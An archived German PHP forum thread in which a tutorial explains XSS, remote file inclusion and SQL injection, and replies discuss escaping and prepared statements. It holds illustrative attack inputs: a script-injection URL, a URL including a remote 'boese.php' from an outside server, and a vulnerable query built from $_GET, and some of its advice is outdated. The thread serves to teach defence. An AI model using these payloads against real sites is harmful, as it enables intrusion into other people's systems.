php.de

Zurück   php.de > php.de Intern > Beitragsarchiv

Beitragsarchiv Nur gucken, nichts anfassen. Das Archiv der Beiträge vergangener Zeiten.

 
 
LinkBack (7) Themen-Optionen
Alt 24.07.2004, 17:49  
Erfahrener Benutzer
 
Registriert seit: 01.12.2003
Beiträge: 4.113
supertramp
Standard PHP und XSS

Diese Tutorial wurde von Jason geschrieben.

------------------------------------------------
In diesem kleinem Artikel geht es über typische Fehler bei der Übertragung von
Formularen in PHP und zum anderen über Cross Site Scripting.

Was ist das überhaupt?

Cross Site Scripting (im späteren XSS genannt):
Beim XSS geht es darum, Benutzereingaben die von einer an den Server übergeben
werden zu manipulieren. Dies gelingt meist durch zu großes Vertrauen des
Webmasters an die User oder durch Fehler im Script. Ziel dieser Angriffe ist das
Ausführen von Programmcode, Ausspähen der Userdaten oder einfach nur zu
nerven...


Verschiedene Arten
- 1. Einfügen von fremden Programmcode
- 2. Ausführen von fremden Scripten
- 3. SQL Injektion

1. Einfügen von fremden Programmcode
Hier geht es darum, den eignen Code in die fremde Seite einzufügen. Meist werden
dafür die GET Variablen verändert. z.B.:
Code:
www.url.de/suche.php?wort=hallo
in
Code:
www.url.de/suche.php?wort=<script>alert(’Hallo’);</script>
würde auf in der suche.php jetzt
PHP-Code:
echo "Es gab $number Sucherergenisse auf das Wort $_GET['wort']!"
würde beim Seitenaufruf das Javascript ausgeführt werden.

Dies ist aber nicht nur auf GET beschränkt sondern geht mit allen Variablen die
auch nur irgendwie mit dem Benutzer zusammenhängen (GET, POST, COOKIE,
SESSION, FILE...)
Auch ein häufiger Fehler ist das nicht Benutzen der superglobalen Arrays, im zu-
sammenhang mit register_globals wo leicht Sicherheitslücken entstehen.

Wie verhindere ich dies nun?
In PHP gibt es dafür extra Funktionen die z.b. alle HTML Tags umwandeln in die
Sonderzeichen
z.B.:
htmlspechialchars(string)
http://de.php.net/manual/de/function...ecialchars.php

Natürlich kann man auch eigene Funktionen verwenden oder PEAR bietet hier ein
Packet namens Validate an.

2. Ausführen von fremden Scripten
Hier geht es darum, durch Fehler im eigene Scripte einzuschleusen. Meist sind
diese Seiten davon betroffen welche ihren Content direkt includen:
Code:
www.url.de/index.php?seite=main.php
dies kann in
Code:
www.url.de/index.php?seite=http://meinserver/boese.php
verändert werden wenn die Variable ungeprüft included wird.
Über diese Datei könnte jetzt ein Angriff gestartet werden.

Wie verhindere ich dies nun?
Also eigentlich kann man das schon per Einstellung am Server größten Teils ver-
hindern (safe_mode, ...)
Außerdem sollte man NIEMALS eine Variable direkt includen, also immer:
PHP-Code:
if($var == "bla")
    include(
"bla.php"); 
3. SQL Injection
Dadurch die Werte welche von Formularen kommen oder per GET übertragen wurden
häufig in Datenbank Abfragen vorkommen, lassen sich häufig diese Werte als
SQL Anweisung missbrauchen.
Beispiel:
Code:
www.url.de/members.php?nick=Jason
wenn diese Url eine Seite aufrufen würde in der eine Abfrage in dem Stiel
vorkommen würde:
Code:
SELECT * FROM members WHERE nick='$_GET['nick']'
würde sich das leicht manipulieren lassen (ich denke nicht dass es passend ist
dies hier zu erklären...)

Verhindern kann man das am leichtesten durch die Benutzung einer Funktion wie
http://de2.php.net/manual/de/functio...ape-string.php
welche den Übergebenen Wert maskiert und die ' und sonstigen escaped.


Anmerkung:
Ja es gibt auch magic_quotes_gpc....

mfg
Jason
supertramp ist offline  
Sponsor Mitteilung
PHP Code Flüsterer

Registriert seit: 21.08.2005
Beiträge: 4682
PHP-Kenntnisse:
Fortgeschritten

Alt 07.06.2005, 22:12  
Matthias959
Gast
 
Beiträge: n/a
Standard

Interessanter Artikel!
Besonders das erste Beispiel mit dem JS.
Habe auch mal ein gutes Beispiel gefunden:
http://teamkillaz.de/Freeaak/home.ph.../www.amazon.de
 
Alt 20.06.2005, 14:03  
Gast
 
Beiträge: n/a
Standard

Hinweis zu dem letzten Punkt:
http://de2.php.net/manual/de/functio...ape-string.php

Anmerkung: Diese Funktion ist seit PHP 4.3.0 veraltet. Benutzen Sie diese Funktion nicht und verwenden Sie stattdessen mysql_real_escape_string().
 
Alt 12.07.2005, 12:13  
Gast
 
Beiträge: n/a
Standard

Auch das Escapen bringt keine 100%ige Sicherheit.
Am besten mit Perpared Statements arbeiten!

PHP-Code:
<?php
$sql_obj 
mysqli_connect($host$user$password$database) or die(mysqli_connect_error());

//Vorbereiten:
$statement=$sql_obj->prepare("INSERT INTO kleine_anekdoten VALUES(NULL, ?, ?)");

//Parametertypen einbinden
/*
i = integer
d = double
s = string
b = BLOB 
*/
$statement->bind_param("ss"$title$content);


$title "Story 1";
$content "Eines schönen Tages";
$statement->execute();

$title "Story 2";
$content "Es war einmal ein kleiner grüner Esel.. ";
$statement->execute();

$title "Story 3";
$content "Ein kleiner Eisbär namens ...";
$statement->execute();
?>
Leider erst ab php 5.




Andere Geschichte in Sachen Sicherheit ist das mit DOS-Attaken.
Hier helfen sogenannte Captures, wo der User irgendwelche Buchstaben oder Zahlen von einem Bild aptippen muss. Eine Maschiene ist bis jetzt noch nicht in der Lage (Wenn man es nicht gerade unverzerrt lässt, dann vllt. über irgendwelche OCR Programme) diese Strings zu erkennen.
 
Alt 12.07.2005, 14:09  
Erfahrener Benutzer
 
Registriert seit: 21.05.2008
Beiträge: 2.039
Sclot befindet sich auf einem aufstrebenden Ast
Standard

ihr macht mir angst!
Sclot ist offline  
Alt 12.07.2005, 18:43  
Gast
 
Beiträge: n/a
Standard

Zitat:
Zitat von Du-weisst-schon-wer
Auch das Escapen bringt keine 100%ige Sicherheit.
Am besten mit Perpared Statements arbeiten!

PHP-Code:
<?php
//(...)
$title "Story 1";
$content "Eines schönen Tages";
$statement->execute();

//(...)

?>
Leider erst ab php 5.
Ähm, und wenn man da jetzt POST-Daten einfügen will? Braucht man sie dann nicht "escapen" ?

Greetz!
 
Alt 12.07.2005, 19:17  
Gast
 
Beiträge: n/a
Standard

Genau das, keine Zeichen müssen mehr maskieren werden. Das ist der eine "Trick" an prepared statements. (Der andere -wenn die Datenbank selbst das unterstützt- ist, dass der parser et al nur einmal über das statement gejagt werden muss)
Der Datenbank muss angezeigt werden, was Nutzdaten sind und was Anweisungen o.ä.

Um zu verhindern, dass in einer "herkömmlichen" sql-Anfrage innerhalb der Nutzdaten Steuerzeichen enthalten sind, die die Nutzdaten von den Anweisungen trennen, werden diese Zeichen maskiert.
Aber wenn Nutzdaten und Anweisungen -wie im Falle von prepared statements- getrennt übertragen werden, gibt es dafür keinen Bedarf mehr.
 
 


Themen-Optionen

Forumregeln
Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are an
Gehe zu

LinkBacks (?)
LinkBack to this Thread: http://www.php.de/beitragsarchiv/5621-php-und-xss.html
Erstellt von For Type Datum
TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse This thread Refback 18.11.2008 14:45
TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse This thread Refback 04.11.2008 10:35
TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse This thread Refback 22.10.2008 16:11
TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse This thread Refback 14.10.2008 13:07
TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse This thread Refback 24.09.2008 15:16
TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse This thread Refback 23.09.2008 07:53
Gelöst - Vorstellung wt_doorman: Sicherheitsklasse für Extensions - TYPO3 Forum & Portal This thread Pingback 22.09.2008 22:07

Besucher kamen über folgende Suchanfragen bei Google auf diese Seite
php xss, php xss verhindern, xss php, xss verhindern php, php cross site scripting verhindern, xss php unterbinden, cross site scripting php, php xss vermeiden, cross site scripting verhindern, xss php verhindern, php cross site scripting, cross site scripting verhindern php, php xxs, xss vermeiden php, xss in php, php xss schutz, cross site scripting php verhindern, xss mit php, php xss sicher, php cross-site scripting

Alle Zeitangaben in WEZ +2. Es ist jetzt 16:53 Uhr.




Powered by vBulletin® Version 3.7.2 (Deutsch)
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.2.0
Aprilia-Forum, Aquaristik-Forum, Liebeskummer-Forum, Zierfisch-Forum, Geizkragen-Forum

Creative Commons License
Dieser Inhalt ist unter einer Creative Commons-Lizenz lizenziert.